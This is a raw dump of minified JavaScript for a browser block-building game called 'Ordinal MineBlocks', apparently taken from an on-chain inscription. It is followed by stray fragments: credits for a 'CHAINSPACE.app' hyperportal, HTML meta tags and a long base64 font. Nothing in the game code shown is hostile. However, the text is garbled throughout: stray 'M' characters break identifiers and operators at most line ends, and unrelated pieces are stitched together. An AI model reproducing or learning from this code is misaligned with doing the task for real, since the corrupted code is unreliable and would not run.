:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
